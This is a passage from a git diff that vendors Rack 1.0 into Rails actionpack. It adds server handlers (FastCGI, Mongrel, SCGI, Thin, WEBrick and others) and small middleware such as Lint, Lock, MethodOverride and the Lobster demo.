+ class EventedMongrel < Handler::Mongrel
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb
new file mode 100644
index 0000000000..6324c7d274
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb
@@ -0,0 +1,89 @@
+require 'fcgi'
+require 'socket'
+require 'rack/content_length'
+
+module Rack
+ module Handler
+ class FastCGI
+ def self.run(app, options={})
+ file = options[:File] and STDIN.reopen(UNIXServer.new(file))
+ port = options[:Port] and STDIN.reopen(TCPServer.new(port))
+ FCGI.each { |request|
+ serve request, app
+ }
+ end
+
+ module ProperStream # :nodoc:
+ def each # This is missing by default.
+ while line = gets
+ yield line
+ end
+ end
+
+ def read(*args)
+ if args.empty?
+ super || "" # Empty string on EOF.
+ else
+ super
+ end
+ end
+ end
+
+ def self.serve(request, app)
+ app = Rack::ContentLength.new(app)
+
+ env = request.env
+ env.delete "HTTP_CONTENT_LENGTH"
+
+ request.in.extend ProperStream
+
+ env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
+
+ env.update({"rack.version" => [0,1],
+ "rack.input" => request.in,
+ "rack.errors" => request.err,
+
+ "rack.multithread" => false,
+ "rack.multiprocess" => true,
+ "rack.run_once" => false,
+
+ "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
+ })
+
+ env["QUERY_STRING"] ||= ""
+ env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+ env["REQUEST_PATH"] ||= "/"
+ env.delete "PATH_INFO" if env["PATH_INFO"] == ""
+ env.delete "CONTENT_TYPE" if env["CONTENT_TYPE"] == ""
+ env.delete "CONTENT_LENGTH" if env["CONTENT_LENGTH"] == ""
+
+ status, headers, body = app.call(env)
+ begin
+ send_headers request.out, status, headers
+ send_body request.out, body
+ ensure
+ body.close if body.respond_to? :close
+ request.finish
+ end
+ end
+
+ def self.send_headers(out, status, headers)
+ out.print "Status: #{status}\r\n"
+ headers.each { |k, vs|
+ vs.split("\n").each { |v|
+ out.print "#{k}: #{v}\r\n"
+ }
+ }
+ out.print "\r\n"
+ out.flush
+ end
+
+ def self.send_body(out, body)
+ body.each { |part|
+ out.print part
+ out.flush
+ }
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb
new file mode 100644
index 0000000000..c65ba3ec8e
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb
@@ -0,0 +1,55 @@
+require 'lsapi'
+require 'rack/content_length'
+
+module Rack
+ module Handler
+ class LSWS
+ def self.run(app, options=nil)
+ while LSAPI.accept != nil
+ serve app
+ end
+ end
+ def self.serve(app)
+ app = Rack::ContentLength.new(app)
+
+ env = ENV.to_hash
+ env.delete "HTTP_CONTENT_LENGTH"
+ env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
+ env.update({"rack.version" => [0,1],
+ "rack.input" => StringIO.new($stdin.read.to_s),
+ "rack.errors" => $stderr,
+ "rack.multithread" => false,
+ "rack.multiprocess" => true,
+ "rack.run_once" => false,
+ "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+ })
+ env["QUERY_STRING"] ||= ""
+ env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+ env["REQUEST_PATH"] ||= "/"
+ status, headers, body = app.call(env)
+ begin
+ send_headers status, headers
+ send_body body
+ ensure
+ body.close if body.respond_to? :close
+ end
+ end
+ def self.send_headers(status, headers)
+ print "Status: #{status}\r\n"
+ headers.each { |k, vs|
+ vs.split("\n").each { |v|
+ print "#{k}: #{v}\r\n"
+ }
+ }
+ print "\r\n"
+ STDOUT.flush
+ end
+ def self.send_body(body)
+ body.each { |part|
+ print part
+ STDOUT.flush
+ }
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb
new file mode 100644
index 0000000000..f0c0d58330
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb
@@ -0,0 +1,84 @@
+require 'mongrel'
+require 'stringio'
+require 'rack/content_length'
+require 'rack/chunked'
+
+module Rack
+ module Handler
+ class Mongrel < ::Mongrel::HttpHandler
+ def self.run(app, options={})
+ server = ::Mongrel::HttpServer.new(options[:Host] || '0.0.0.0',
+ options[:Port] || 8080)
+ # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
+ # Use is similar to #run, replacing the app argument with a hash of
+ # { path=>app, ... } or an instance of Rack::URLMap.
+ if options[:map]
+ if app.is_a? Hash
+ app.each do |path, appl|
+ path = '/'+path unless path[0] == ?/
+ server.register(path, Rack::Handler::Mongrel.new(appl))
+ end
+ elsif app.is_a? URLMap
+ app.instance_variable_get(:@mapping).each do |(host, path, appl)|
+ next if !host.nil? && !options[:Host].nil? && options[:Host] != host
+ path = '/'+path unless path[0] == ?/
+ server.register(path, Rack::Handler::Mongrel.new(appl))
+ end
+ else
+ raise ArgumentError, "first argument should be a Hash or URLMap"
+ end
+ else
+ server.register('/', Rack::Handler::Mongrel.new(app))
+ end
+ yield server if block_given?
+ server.run.join
+ end
+
+ def initialize(app)
+ @app = Rack::Chunked.new(Rack::ContentLength.new(app))
+ end
+
+ def process(request, response)
+ env = {}.replace(request.params)
+ env.delete "HTTP_CONTENT_TYPE"
+ env.delete "HTTP_CONTENT_LENGTH"
+
+ env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/"
+
+ env.update({"rack.version" => [0,1],
+ "rack.input" => request.body || StringIO.new(""),
+ "rack.errors" => $stderr,
+
+ "rack.multithread" => true,
+ "rack.multiprocess" => false, # ???
+ "rack.run_once" => false,
+
+ "rack.url_scheme" => "http",
+ })
+ env["QUERY_STRING"] ||= ""
+ env.delete "PATH_INFO" if env["PATH_INFO"] == ""
+
+ status, headers, body = @app.call(env)
+
+ begin
+ response.status = status.to_i
+ response.send_status(nil)
+
+ headers.each { |k, vs|
+ vs.split("\n").each { |v|
+ response.header[k] = v
+ }
+ }
+ response.send_header
+
+ body.each { |part|
+ response.write part
+ response.socket.flush
+ }
+ ensure
+ body.close if body.respond_to? :close
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb
new file mode 100644
index 0000000000..9495c66374
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb
@@ -0,0 +1,59 @@
+require 'scgi'
+require 'stringio'
+require 'rack/content_length'
+require 'rack/chunked'
+
+module Rack
+ module Handler
+ class SCGI < ::SCGI::Processor
+ attr_accessor :app
+
+ def self.run(app, options=nil)
+ new(options.merge(:app=>app,
+ :host=>options[:Host],
+ :port=>options[:Port],
+ :socket=>options[:Socket])).listen
+ end
+
+ def initialize(settings = {})
+ @app = Rack::Chunked.new(Rack::ContentLength.new(settings[:app]))
+ @log = Object.new
+ def @log.info(*args); end
+ def @log.error(*args); end
+ super(settings)
+ end
+
+ def process_request(request, input_body, socket)
+ env = {}.replace(request)
+ env.delete "HTTP_CONTENT_TYPE"
+ env.delete "HTTP_CONTENT_LENGTH"
+ env["REQUEST_PATH"], env["QUERY_STRING"] = env["REQUEST_URI"].split('?', 2)
+ env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+ env["PATH_INFO"] = env["REQUEST_PATH"]
+ env["QUERY_STRING"] ||= ""
+ env["SCRIPT_NAME"] = ""
+ env.update({"rack.version" => [0,1],
+ "rack.input" => StringIO.new(input_body),
+ "rack.errors" => $stderr,
+
+ "rack.multithread" => true,
+ "rack.multiprocess" => true,
+ "rack.run_once" => false,
+
+ "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
+ })
+ status, headers, body = app.call(env)
+ begin
+ socket.write("Status: #{status}\r\n")
+ headers.each do |k, vs|
+ vs.split("\n").each { |v| socket.write("#{k}: #{v}\r\n")}
+ end
+ socket.write("\r\n")
+ body.each {|s| socket.write(s)}
+ ensure
+ body.close if body.respond_to? :close
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/swiftiplied_mongrel.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/swiftiplied_mongrel.rb
new file mode 100644
index 0000000000..4bafd0b953
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/swiftiplied_mongrel.rb
@@ -0,0 +1,8 @@
+require 'swiftcore/swiftiplied_mongrel'
+
+module Rack
+ module Handler
+ class SwiftipliedMongrel < Handler::Mongrel
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb
new file mode 100644
index 0000000000..3d4fedff75
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb
@@ -0,0 +1,18 @@
+require "thin"
+require "rack/content_length"
+require "rack/chunked"
+
+module Rack
+ module Handler
+ class Thin
+ def self.run(app, options={})
+ app = Rack::Chunked.new(Rack::ContentLength.new(app))
+ server = ::Thin::Server.new(options[:Host] || '0.0.0.0',
+ options[:Port] || 8080,
+ app)
+ yield server if block_given?
+ server.start
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb
new file mode 100644
index 0000000000..829e7d6bf8
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb
@@ -0,0 +1,67 @@
+require 'webrick'
+require 'stringio'
+require 'rack/content_length'
+
+module Rack
+ module Handler
+ class WEBrick < ::WEBrick::HTTPServlet::AbstractServlet
+ def self.run(app, options={})
+ server = ::WEBrick::HTTPServer.new(options)
+ server.mount "/", Rack::Handler::WEBrick, app
+ trap(:INT) { server.shutdown }
+ yield server if block_given?
+ server.start
+ end
+
+ def initialize(server, app)
+ super server
+ @app = Rack::ContentLength.new(app)
+ end
+
+ def service(req, res)
+ env = req.meta_vars
+ env.delete_if { |k, v| v.nil? }
+
+ env.update({"rack.version" => [0,1],
+ "rack.input" => StringIO.new(req.body.to_s),
+ "rack.errors" => $stderr,
+
+ "rack.multithread" => true,
+ "rack.multiprocess" => false,
+ "rack.run_once" => false,
+
+ "rack.url_scheme" => ["yes", "on", "1"].include?(ENV["HTTPS"]) ? "https" : "http"
+ })
+
+ env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
+ env["QUERY_STRING"] ||= ""
+ env["REQUEST_PATH"] ||= "/"
+ if env["PATH_INFO"] == ""
+ env.delete "PATH_INFO"
+ else
+ path, n = req.request_uri.path, env["SCRIPT_NAME"].length
+ env["PATH_INFO"] = path[n, path.length-n]
+ end
+
+ status, headers, body = @app.call(env)
+ begin
+ res.status = status.to_i
+ headers.each { |k, vs|
+ if k.downcase == "set-cookie"
+ res.cookies.concat vs.split("\n")
+ else
+ vs.split("\n").each { |v|
+ res[k] = v
+ }
+ end
+ }
+ body.each { |part|
+ res.body << part
+ }
+ ensure
+ body.close if body.respond_to? :close
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/head.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/head.rb
new file mode 100644
index 0000000000..deab822a99
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/head.rb
@@ -0,0 +1,19 @@
+module Rack
+
+class Head
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+
+ if env["REQUEST_METHOD"] == "HEAD"
+ [status, headers, []]
+ else
+ [status, headers, body]
+ end
+ end
+end
+
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb
new file mode 100644
index 0000000000..44a33ce36e
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb
@@ -0,0 +1,462 @@
+require 'rack/utils'
+
+module Rack
+ # Rack::Lint validates your application and the requests and
+ # responses according to the Rack spec.
+
+ class Lint
+ def initialize(app)
+ @app = app
+ end
+
+ # :stopdoc:
+
+ class LintError < RuntimeError; end
+ module Assertion
+ def assert(message, &block)
+ unless block.call
+ raise LintError, message
+ end
+ end
+ end
+ include Assertion
+
+ ## This specification aims to formalize the Rack protocol. You
+ ## can (and should) use Rack::Lint to enforce it.
+ ##
+ ## When you develop middleware, be sure to add a Lint before and
+ ## after to catch all mistakes.
+
+ ## = Rack applications
+
+ ## A Rack application is an Ruby object (not a class) that
+ ## responds to +call+.
+ def call(env=nil)
+ dup._call(env)
+ end
+
+ def _call(env)
+ ## It takes exactly one argument, the *environment*
+ assert("No env given") { env }
+ check_env env
+
+ env['rack.input'] = InputWrapper.new(env['rack.input'])
+ env['rack.errors'] = ErrorWrapper.new(env['rack.errors'])
+
+ ## and returns an Array of exactly three values:
+ status, headers, @body = @app.call(env)
+ ## The *status*,
+ check_status status
+ ## the *headers*,
+ check_headers headers
+ ## and the *body*.
+ check_content_type status, headers
+ check_content_length status, headers, env
+ [status, headers, self]
+ end
+
+ ## == The Environment
+ def check_env(env)
+ ## The environment must be an true instance of Hash (no
+ ## subclassing allowed) that includes CGI-like headers.
+ ## The application is free to modify the environment.
+ assert("env #{env.inspect} is not a Hash, but #{env.class}") {
+ env.instance_of? Hash
+ }
+
+ ##
+ ## The environment is required to include these variables
+ ## (adopted from PEP333), except when they'd be empty, but see
+ ## below.
+
+ ## <tt>REQUEST_METHOD</tt>:: The HTTP request method, such as
+ ## "GET" or "POST". This cannot ever
+ ## be an empty string, and so is
+ ## always required.
+
+ ## <tt>SCRIPT_NAME</tt>:: The initial portion of the request
+ ## URL's "path" that corresponds to the
+ ## application object, so that the
+ ## application knows its virtual
+ ## "location". This may be an empty
+ ## string, if the application corresponds
+ ## to the "root" of the server.
+
+ ## <tt>PATH_INFO</tt>:: The remainder of the request URL's
+ ## "path", designating the virtual
+ ## "location" of the request's target
+ ## within the application. This may be an
+ ## empty string, if the request URL targets
+ ## the application root and does not have a
+ ## trailing slash. This information should be
+ ## decoded by the server if it comes from a
+ ## URL.
+
+ ## <tt>QUERY_STRING</tt>:: The portion of the request URL that
+ ## follows the <tt>?</tt>, if any. May be
+ ## empty, but is always required!
+
+ ## <tt>SERVER_NAME</tt>, <tt>SERVER_PORT</tt>:: When combined with <tt>SCRIPT_NAME</tt> and <tt>PATH_INFO</tt>, these variables can be used to complete the URL. Note, however, that <tt>HTTP_HOST</tt>, if present, should be used in preference to <tt>SERVER_NAME</tt> for reconstructing the request URL. <tt>SERVER_NAME</tt> and <tt>SERVER_PORT</tt> can never be empty strings, and so are always required.
+
+ ## <tt>HTTP_</tt> Variables:: Variables corresponding to the
+ ## client-supplied HTTP request
+ ## headers (i.e., variables whose
+ ## names begin with <tt>HTTP_</tt>). The
+ ## presence or absence of these
+ ## variables should correspond with
+ ## the presence or absence of the
+ ## appropriate HTTP header in the
+ ## request.
+
+ ## In addition to this, the Rack environment must include these
+ ## Rack-specific variables:
+
+ ## <tt>rack.version</tt>:: The Array [0,1], representing this version of Rack.
+ ## <tt>rack.url_scheme</tt>:: +http+ or +https+, depending on the request URL.
+ ## <tt>rack.input</tt>:: See below, the input stream.
+ ## <tt>rack.errors</tt>:: See below, the error stream.
+ ## <tt>rack.multithread</tt>:: true if the application object may be simultaneously invoked by another thread in the same process, false otherwise.
+ ## <tt>rack.multiprocess</tt>:: true if an equivalent application object may be simultaneously invoked by another process, false otherwise.
+ ## <tt>rack.run_once</tt>:: true if the server expects (but does not guarantee!) that the application will only be invoked this one time during the life of its containing process. Normally, this will only be true for a server based on CGI (or something similar).
+
+ ## The server or the application can store their own data in the
+ ## environment, too. The keys must contain at least one dot,
+ ## and should be prefixed uniquely. The prefix <tt>rack.</tt>
+ ## is reserved for use with the Rack core distribution and must
+ ## not be used otherwise.
+ ##
+
+ %w[REQUEST_METHOD SERVER_NAME SERVER_PORT
+ QUERY_STRING
+ rack.version rack.input rack.errors
+ rack.multithread rack.multiprocess rack.run_once].each { |header|
+ assert("env missing required key #{header}") { env.include? header }
+ }
+
+ ## The environment must not contain the keys
+ ## <tt>HTTP_CONTENT_TYPE</tt> or <tt>HTTP_CONTENT_LENGTH</tt>
+ ## (use the versions without <tt>HTTP_</tt>).
+ %w[HTTP_CONTENT_TYPE HTTP_CONTENT_LENGTH].each { |header|
+ assert("env contains #{header}, must use #{header[5,-1]}") {
+ not env.include? header
+ }
+ }
+
+ ## The CGI keys (named without a period) must have String values.
+ env.each { |key, value|
+ next if key.include? "." # Skip extensions
+ assert("env variable #{key} has non-string value #{value.inspect}") {
+ value.instance_of? String
+ }
+ }
+
+ ##
+ ## There are the following restrictions:
+
+ ## * <tt>rack.version</tt> must be an array of Integers.
+ assert("rack.version must be an Array, was #{env["rack.version"].class}") {
+ env["rack.version"].instance_of? Array
+ }
+ ## * <tt>rack.url_scheme</tt> must either be +http+ or +https+.
+ assert("rack.url_scheme unknown: #{env["rack.url_scheme"].inspect}") {
+ %w[http https].include? env["rack.url_scheme"]
+ }
+
+ ## * There must be a valid input stream in <tt>rack.input</tt>.
+ check_input env["rack.input"]
+ ## * There must be a valid error stream in <tt>rack.errors</tt>.
+ check_error env["rack.errors"]
+
+ ## * The <tt>REQUEST_METHOD</tt> must be a valid token.
+ assert("REQUEST_METHOD unknown: #{env["REQUEST_METHOD"]}") {
+ env["REQUEST_METHOD"] =~ /\A[0-9A-Za-z!\#$%&'*+.^_`|~-]+\z/
+ }
+
+ ## * The <tt>SCRIPT_NAME</tt>, if non-empty, must start with <tt>/</tt>
+ assert("SCRIPT_NAME must start with /") {
+ !env.include?("SCRIPT_NAME") ||
+ env["SCRIPT_NAME"] == "" ||
+ env["SCRIPT_NAME"] =~ /\A\//
+ }
+ ## * The <tt>PATH_INFO</tt>, if non-empty, must start with <tt>/</tt>
+ assert("PATH_INFO must start with /") {
+ !env.include?("PATH_INFO") ||
+ env["PATH_INFO"] == "" ||
+ env["PATH_INFO"] =~ /\A\//
+ }
+ ## * The <tt>CONTENT_LENGTH</tt>, if given, must consist of digits only.
+ assert("Invalid CONTENT_LENGTH: #{env["CONTENT_LENGTH"]}") {
+ !env.include?("CONTENT_LENGTH") || env["CONTENT_LENGTH"] =~ /\A\d+\z/
+ }
+
+ ## * One of <tt>SCRIPT_NAME</tt> or <tt>PATH_INFO</tt> must be
+ ## set. <tt>PATH_INFO</tt> should be <tt>/</tt> if
+ ## <tt>SCRIPT_NAME</tt> is empty.
+ assert("One of SCRIPT_NAME or PATH_INFO must be set (make PATH_INFO '/' if SCRIPT_NAME is empty)") {
+ env["SCRIPT_NAME"] || env["PATH_INFO"]
+ }
+ ## <tt>SCRIPT_NAME</tt> never should be <tt>/</tt>, but instead be empty.
+ assert("SCRIPT_NAME cannot be '/', make it '' and PATH_INFO '/'") {
+ env["SCRIPT_NAME"] != "/"
+ }
+ end
+
+ ## === The Input Stream
+ def check_input(input)
+ ## The input stream must respond to +gets+, +each+ and +read+.
+ [:gets, :each, :read].each { |method|
+ assert("rack.input #{input} does not respond to ##{method}") {
+ input.respond_to? method
+ }
+ }
+ end
+
+ class InputWrapper
+ include Assertion
+
+ def initialize(input)
+ @input = input
+ end
+
+ def size
+ @input.size
+ end
+
+ def rewind
+ @input.rewind
+ end
+
+ ## * +gets+ must be called without arguments and return a string,
+ ## or +nil+ on EOF.
+ def gets(*args)
+ assert("rack.input#gets called with arguments") { args.size == 0 }
+ v = @input.gets
+ assert("rack.input#gets didn't return a String") {
+ v.nil? or v.instance_of? String
+ }
+ v
+ end
+
+ ## * +read+ must be called without or with one integer argument
+ ## and return a string, or +nil+ on EOF.
+ def read(*args)
+ assert("rack.input#read called with too many arguments") {
+ args.size <= 1
+ }
+ if args.size == 1
+ assert("rack.input#read called with non-integer argument") {
+ args.first.kind_of? Integer
+ }
+ end
+ v = @input.read(*args)
+ assert("rack.input#read didn't return a String") {
+ v.nil? or v.instance_of? String
+ }
+ v
+ end
+
+ ## * +each+ must be called without arguments and only yield Strings.
+ def each(*args)
+ assert("rack.input#each called with arguments") { args.size == 0 }
+ @input.each { |line|
+ assert("rack.input#each didn't yield a String") {
+ line.instance_of? String
+ }
+ yield line
+ }
+ end
+
+ ## * +close+ must never be called on the input stream.
+ def close(*args)
+ assert("rack.input#close must not be called") { false }
+ end
+ end
+
+ ## === The Error Stream
+ def check_error(error)
+ ## The error stream must respond to +puts+, +write+ and +flush+.
+ [:puts, :write, :flush].each { |method|
+ assert("rack.error #{error} does not respond to ##{method}") {
+ error.respond_to? method
+ }
+ }
+ end
+
+ class ErrorWrapper
+ include Assertion
+
+ def initialize(error)
+ @error = error
+ end
+
+ ## * +puts+ must be called with a single argument that responds to +to_s+.
+ def puts(str)
+ @error.puts str
+ end
+
+ ## * +write+ must be called with a single argument that is a String.
+ def write(str)
+ assert("rack.errors#write not called with a String") { str.instance_of? String }
+ @error.write str
+ end
+
+ ## * +flush+ must be called without arguments and must be called
+ ## in order to make the error appear for sure.
+ def flush
+ @error.flush
+ end
+
+ ## * +close+ must never be called on the error stream.
+ def close(*args)
+ assert("rack.errors#close must not be called") { false }
+ end
+ end
+
+ ## == The Response
+
+ ## === The Status
+ def check_status(status)
+ ## The status, if parsed as integer (+to_i+), must be greater than or equal to 100.
+ assert("Status must be >=100 seen as integer") { status.to_i >= 100 }
+ end
+
+ ## === The Headers
+ def check_headers(header)
+ ## The header must respond to each, and yield values of key and value.
+ assert("headers object should respond to #each, but doesn't (got #{header.class} as headers)") {
+ header.respond_to? :each
+ }
+ header.each { |key, value|
+ ## The header keys must be Strings.
+ assert("header key must be a string, was #{key.class}") {
+ key.instance_of? String
+ }
+ ## The header must not contain a +Status+ key,
+ assert("header must not contain Status") { key.downcase != "status" }
+ ## contain keys with <tt>:</tt> or newlines in their name,
+ assert("header names must not contain : or \\n") { key !~ /[:\n]/ }
+ ## contain keys names that end in <tt>-</tt> or <tt>_</tt>,
+ assert("header names must not end in - or _") { key !~ /[-_]\z/ }
+ ## but only contain keys that consist of
+ ## letters, digits, <tt>_</tt> or <tt>-</tt> and start with a letter.
+ assert("invalid header name: #{key}") { key =~ /\A[a-zA-Z][a-zA-Z0-9_-]*\z/ }
+
+ ## The values of the header must be Strings,
+ assert("a header value must be a String, but the value of " +
+ "'#{key}' is a #{value.class}") { value.kind_of? String }
+ ## consisting of lines (for multiple header values) seperated by "\n".
+ value.split("\n").each { |item|
+ ## The lines must not contain characters below 037.
+ assert("invalid header value #{key}: #{item.inspect}") {
+ item !~ /[\000-\037]/
+ }
+ }
+ }
+ end
+
+ ## === The Content-Type
+ def check_content_type(status, headers)
+ headers.each { |key, value|
+ ## There must be a <tt>Content-Type</tt>, except when the
+ ## +Status+ is 1xx, 204 or 304, in which case there must be none
+ ## given.
+ if key.downcase == "content-type"
+ assert("Content-Type header found in #{status} response, not allowed") {
+ not Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i
+ }
+ return
+ end
+ }
+ assert("No Content-Type header found") {
+ Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i
+ }
+ end
+
+ ## === The Content-Length
+ def check_content_length(status, headers, env)
+ headers.each { |key, value|
+ if key.downcase == 'content-length'
+ ## There must not be a <tt>Content-Length</tt> header when the
+ ## +Status+ is 1xx, 204 or 304.
+ assert("Content-Length header found in #{status} response, not allowed") {
+ not Rack::Utils::STATUS_WITH_NO_ENTITY_BODY.include? status.to_i
+ }
+
+ bytes = 0
+ string_body = true
+
+ if @body.respond_to?(:to_ary)
+ @body.each { |part|
+ unless part.kind_of?(String)
+ string_body = false
+ break
+ end
+
+ bytes += Rack::Utils.bytesize(part)
+ }
+
+ if env["REQUEST_METHOD"] == "HEAD"
+ assert("Response body was given for HEAD request, but should be empty") {
+ bytes == 0
+ }
+ else
+ if string_body
+ assert("Content-Length header was #{value}, but should be #{bytes}") {
+ value == bytes.to_s
+ }
+ end
+ end
+ end
+
+ return
+ end
+ }
+ end
+
+ ## === The Body
+ def each
+ @closed = false
+ ## The Body must respond to #each
+ @body.each { |part|
+ ## and must only yield String values.
+ assert("Body yielded non-string value #{part.inspect}") {
+ part.instance_of? String
+ }
+ yield part
+ }
+ ##
+ ## If the Body responds to #close, it will be called after iteration.
+ # XXX howto: assert("Body has not been closed") { @closed }
+
+
+ ##
+ ## If the Body responds to #to_path, it must return a String
+ ## identifying the location of a file whose contents are identical
+ ## to that produced by calling #each.
+
+ if @body.respond_to?(:to_path)
+ assert("The file identified by body.to_path does not exist") {
+ ::File.exist? @body.to_path
+ }
+ end
+
+ ##
+ ## The Body commonly is an Array of Strings, the application
+ ## instance itself, or a File-like object.
+ end
+
+ def close
+ @closed = true
+ @body.close if @body.respond_to?(:close)
+ end
+
+ # :startdoc:
+
+ end
+end
+
+## == Thanks
+## Some parts of this specification are adopted from PEP333: Python
+## Web Server Gateway Interface
+## v1.0 (http://www.python.org/dev/peps/pep-0333/). I'd like to thank
+## everyone involved in that effort.
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/lobster.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lobster.rb
new file mode 100644
index 0000000000..f63f419a49
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lobster.rb
@@ -0,0 +1,65 @@
+require 'zlib'
+
+require 'rack/request'
+require 'rack/response'
+
+module Rack
+ # Paste has a Pony, Rack has a Lobster!
+ class Lobster
+ LobsterString = Zlib::Inflate.inflate("eJx9kEEOwyAMBO99xd7MAcytUhPlJyj2
+ P6jy9i4k9EQyGAnBarEXeCBqSkntNXsi/ZCvC48zGQoZKikGrFMZvgS5ZHd+aGWVuWwhVF0
+ t1drVmiR42HcWNz5w3QanT+2gIvTVCiE1lm1Y0eU4JGmIIbaKwextKn8rvW+p5PIwFl8ZWJ
+ I8jyiTlhTcYXkekJAzTyYN6E08A+dk8voBkAVTJQ==".delete("\n ").unpack("m*")[0])
+
+ LambdaLobster = lambda { |env|
+ if env["QUERY_STRING"].include?("flip")
+ lobster = LobsterString.split("\n").
+ map { |line| line.ljust(42).reverse }.
+ join("\n")
+ href = "?"
+ else
+ lobster = LobsterString
+ href = "?flip"
+ end
+
+ content = ["<title>Lobstericious!</title>",
+ "<pre>", lobster, "</pre>",
+ "<a href='#{href}'>flip!</a>"]
+ length = content.inject(0) { |a,e| a+e.size }.to_s
+ [200, {"Content-Type" => "text/html", "Content-Length" => length}, content]
+ }
+
+ def call(env)
+ req = Request.new(env)
+ if req.GET["flip"] == "left"
+ lobster = LobsterString.split("\n").
+ map { |line| line.ljust(42).reverse }.
+ join("\n")
+ href = "?flip=right"
+ elsif req.GET["flip"] == "crash"
+ raise "Lobster crashed"
+ else
+ lobster = LobsterString
+ href = "?flip=left"
+ end
+
+ res = Response.new
+ res.write "<title>Lobstericious!</title>"
+ res.write "<pre>"
+ res.write lobster
+ res.write "</pre>"
+ res.write "<p><a href='#{href}'>flip!</a></p>"
+ res.write "<p><a href='?flip=crash'>crash!</a></p>"
+ res.finish
+ end
+
+ end
+end
+
+if $0 == __FILE__
+ require 'rack'
+ require 'rack/showexceptions'
+ Rack::Handler::WEBrick.run \
+ Rack::ShowExceptions.new(Rack::Lint.new(Rack::Lobster.new)),
+ :Port => 9292
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb
new file mode 100644
index 0000000000..93238528c4
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb
@@ -0,0 +1,16 @@
+module Rack
+ class Lock
+ FLAG = 'rack.multithread'.freeze
+
+ def initialize(app, lock = Mutex.new)
+ @app, @lock = app, lock
+ end
+
+ def call(env)
+ old, env[FLAG] = env[FLAG], false
+ @lock.synchronize { @app.call(env) }
+ ensure
+ env[FLAG] = old
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/methodoverride.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/methodoverride.rb
new file mode 100644
index 0000000000..0eed29f471
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/methodoverride.rb
@@ -0,0 +1,27 @@
+module Rack
+ class MethodOverride
+ HTTP_METHODS = %w(GET HEAD PUT POST DELETE OPTIONS)
+
+ METHOD_OVERRIDE_PARAM_KEY = "_method".freeze
+ HTTP_METHOD_OVERRIDE_HEADER = "HTTP_X_HTTP_METHOD_OVERRIDE".freeze
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ if env["REQUEST_METHOD"] == "POST"
+ req = Request.new(env)
+ method = req.POST[METHOD_OVERRIDE_PARAM_KEY] ||
+ env[HTTP_METHOD_OVERRIDE_HEADER]
+ method = method.to_s.upcase
+ if HTTP_METHODS.include?(method)
+ env["rack.methodoverride.original_method"] = env["REQUEST_METHOD"]
+ env["REQUEST_METHOD"] = method
+ end
+ end
+
+ @app.call(env)
+ end
+ end
+end
